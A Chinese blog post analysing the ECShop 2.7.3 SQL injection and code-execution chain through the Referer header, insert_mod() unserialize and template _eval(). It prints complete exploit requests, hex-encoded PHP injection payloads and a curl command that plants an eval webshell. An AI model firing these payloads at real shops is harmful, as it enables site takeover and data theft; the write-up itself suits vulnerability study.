时光不改's 记忆碎片

ECShop 2.7.3 SQL注入/代码执行漏洞分析

字数统计: 2.2k阅读时长: 10 min
2019/03/12 Share

漏洞分析

问题一:注入

路径:\user.php
漏洞点在302行,
$action == 'login' 处,继续往下看的$back_act$GLOBALS['_SERVER']['HTTP_REFERER']传入,变量可控。
[条件1:Referer]
继续跟进$back_act,在325行被传入assign()函数,该函数用于注册变量,$back_act在函数中被存入$_var数组中。
继续执行$smarty->display('user_passport.dwt');,display()函数用于将参数值在页面中显示出来,跟进display()函数。

路径:\includes\cls_template.php
首先记录一些初值

1
2
3
4
var $direct_output  = false;
var $template = array();
var $_var = array();
var $_echash = '554fcae493e564ee0dc75bdf2ebf94ca';

接下来定位到106行,
$this->_checkfile = false;
$out = $this->fetch('user_passport.dwt', '');,跟进fetch()函数,

前两个判断错误,到158行,$filename = '/user_passport.dwt'

继续跟进180行,

$out = $this->make_compiled($filename);make_compiled() 会将模板中的变量解析,也就是在这个时候将上面 assign 中注册到的变量 $back_act 传递进去,解析完变量之后返回到 display 函数中。此时 $out 是解析变量后的html内容。

回到display()函数,判断 $this->_echash 是否在 $out 中,若在,使用 $this->_echash 来分割内容,得到 $k 然后交给insert_mod() 处理。
[条件2:包含$_echash]
跟进到1146行,insert_mod()函数用于动态执行函数

1
2
3
4
5
6
7
8
function insert_mod($name) // 处理动态内容
{
list($fun, $para) = explode('|', $name); // 按‘|’分割
$para = unserialize($para); // 反序列化
$fun = 'insert_' . $fun; // 拼接函数名

return $fun($para); // 调用函数
}

[条件3:$fun|序列化$para变量 传入函数 ]
[条件4:找到符合条件的函数 insert_.$fun]

路径:\include\lib_insert.php
136行,找到符合条件的函数 insert_ads(),发现传入变量$arr[‘num’],被直接拼接到sql语句中,整个过程分析完成,构成注入。

payload 基本形式:

根据上面的流程,可以构造出如下形式的payload
echash+fun|serialize(array("num"=>sqlpayload,"id"=>1))

payload 具体分析:

$_echash是一个常量
var $_echash = '554fcae493e564ee0dc75bdf2ebf94ca';
\$fun用于拼接要调用的函数
`$fun = ‘insert\
‘ . $fun; // insert_mod()`
构造反序列化的语句

1
2
3
4
5
Array
(
[num] => 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -
[id] => 1
)

注入点在limit之后可使用procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -进行报错注入
在insert_ads()处拼接出的sql语句如下:

1
[sql] => SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop273`.`ecs_ad` AS a LEFT JOIN `ecshop273`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1538989704' AND end_time >= '1538989704' AND a.position_id = '1' ORDER BY rnd LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -

将这些条件拼接起来,构造成可利用payload

构造数据包如下:

1
2
3
4
5
6
7
8
9
10
POST /ecshop273/user.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
Content-Length: 14
Content-Type: application/x-www-form-urlencoded

action=login

成功利用

问题二:命令执行

路径 \includes\lib_insert.php
insert_ads函数在执行查询以后,又调用了一次fetch
在215行,$val = $GLOBALS['smarty']->fetch($position_style);
往前找209行$position_style = 'str:' . $position_style;
继续跟进这个变量来源,再往前跟进到176行
$position_style = $row['position_style'];
由此可以知道$position_style 是由查询结果赋值过来的。

要到 $position_style = $row['position_style']; 还有一个条件,就是 $row['position_id'] 要等于
$arr['id'] ,查询结果可控,arr['id']同样可控。
之后$position_style会拼接 ‘str:’ 传入 fetch 函数,跟进 fetch

路径 \includes\cls_template.php

注意fetch()函数,在145行出存在执行函数_eval()

1
2
3
4
if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}

[条件1:包含str:]
传进来的时候拼接了’str:’,那么此条件肯定是满足的,然后会调用危$this->_eval,这就是最终触发漏洞的点。但是参数在传递之前要经过 fetch_str() 方法的处理,跟进该函数

281行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function fetch_str($source)
{
if (!defined('ECS_ADMIN'))
{
$source = $this->smarty_prefilter_preCompile($source);
}
$source=preg_replace("/([^a-zA-Z0-9_]{1,1})+
(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
}
}
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
}

前两个正则匹配的了一下危险关键字,重点关注最后一个正则

return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);

匹配{}里的内容[条件2:变量内容在{}内]交给$this->select(),跟进select函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function select($tag)
{
$tag = stripslashes(trim($tag));

if (empty($tag))
{
return '{}';
}
elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分
{
return '';
}
elseif ($tag{0} == '$') // 变量
{
return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
}

在382行,发现拼接执行了 <?php echo ' ';?>,前提是传入的变量的第一个字符是‘$’[条件3:第一个字符为$],在返回之前还调用了$this->get_var处理,跟进get_var

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (strpos($val, '.$') !== false)
{
$all = explode('.$', $val);

foreach ($all AS $key => $val)
{
$all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
}
$p = implode('', $all);
}
else
{
$p = $this->make_var($val);
}

当传入的变量没有 .$ 时[条件4:变量中没有.$],调用 $this->make_var ,跟进 make_var

1
2
3
4
5
6
7
8
9
10
function make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var[\'' . $val . '\']';
}

综合上面的分析的条件,我们把跟进后的语句拼接出来<?php echo $this->_var[' $val '] ; ?>,要成功执行代码的话,$val 必须要把 [‘ 闭合,所以payload构造,从下往上构造。

$val 为 abc'];echo phpinfo();//;从 select函数进入 get_var 的条件是第一个字符是 $ ,所以payload变成了 $abc'];echo phpinfo();//;

而要进入到select ,需要被捕获,加上{},payload变成了 {$abc'];echo phpinfo();//} ,这里因为payload的是 phpinfo() ,这里会被 fetch_str 函数的第一个正则匹配到,需要绕过一下,所以payload变为 {$abc'];echo phpinfo/**/();//} ,到这里为止,php 恶意代码就构造完成了。

接下来就是把构造好的代码通过SQL注入漏洞传给$position_style
这里可以用union select 来控制查询的结果,根据之前的流程,$row['position_id']$arr['id'] 要相等, $row['position_id'] 是第二列的结果, $position_style 是第九列的结果。
$arr['id'] 传入' /* , $arr['num']传入 */ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -0x27202f2a' /* 的16进制值,也就是 $row['position_id'] 的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d 是上面构造的php代码的16进制值,也就是 $position_style 。

结合之前的SQL漏洞的payload构造,所以最终的payload的是

1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

可以看到成功的执行了 phpinfo() 。

1
2
3
4
5
6
7
8
9
10
POST /ecshop273/user.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca
Content-Length: 12
Content-Type: application/x-www-form-urlencoded

action=login

成功利用

来自vulnspy的payload

命令执行

从payload入手分析:

1
2
3
4
5
6
Array
(
[id] => '/*
[num] => */ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0-- -
[name] => ads
)

经过以下的解码

1
0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d

——解码——
{${$vulnspy'];eval/**/(base64_decode('ZXZhbCgkX1BPU1RbdnVsbnNweV0pOw=='));//}}

ZXZhbCgkX1BPU1RbdnVsbnNweV0pOw==
——解码——
eval($_POST[vulnspy]);

还原成原始传入的数据

1
2
3
4
5
6
Array
(
[id] => '/*
[num] => */ union select 1,'/*,3,4,5,6,7,8,{${$vulnspy'];eval/**/(eval($_POST[vulnspy]););//}},0--
[name] => ads
)

测试请求包

1
2
3
4
5
6
7
8
9
10
POST /ecshop273/user.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

action=login&vulnspy=phpinfo();exit;

成功利用

getshell

1
curl http://***.vsplate.me/user.php -d 'action=login&vulnspy=eval(base64_decode($_POST[d]));exit;&d=ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOz8%2BJyk7' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'

Referer字段都是一样的,分析d参数
ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOz8+Jyk7
base64解码,看到是执行了file_put_contents()函数写入了文件。
file_put_contents('vulnspy.php','<?php eval($_REQUEST[vulnspy]);?>');

CATALOG
  1. 1. 漏洞分析
    1. 1.1. 问题一:注入
      1. 1.1.1. payload 基本形式:
      2. 1.1.2. payload 具体分析:
    2. 1.2. 问题二:命令执行
  2. 2. 来自vulnspy的payload
    1. 2.1. 命令执行
    2. 2.2. getshell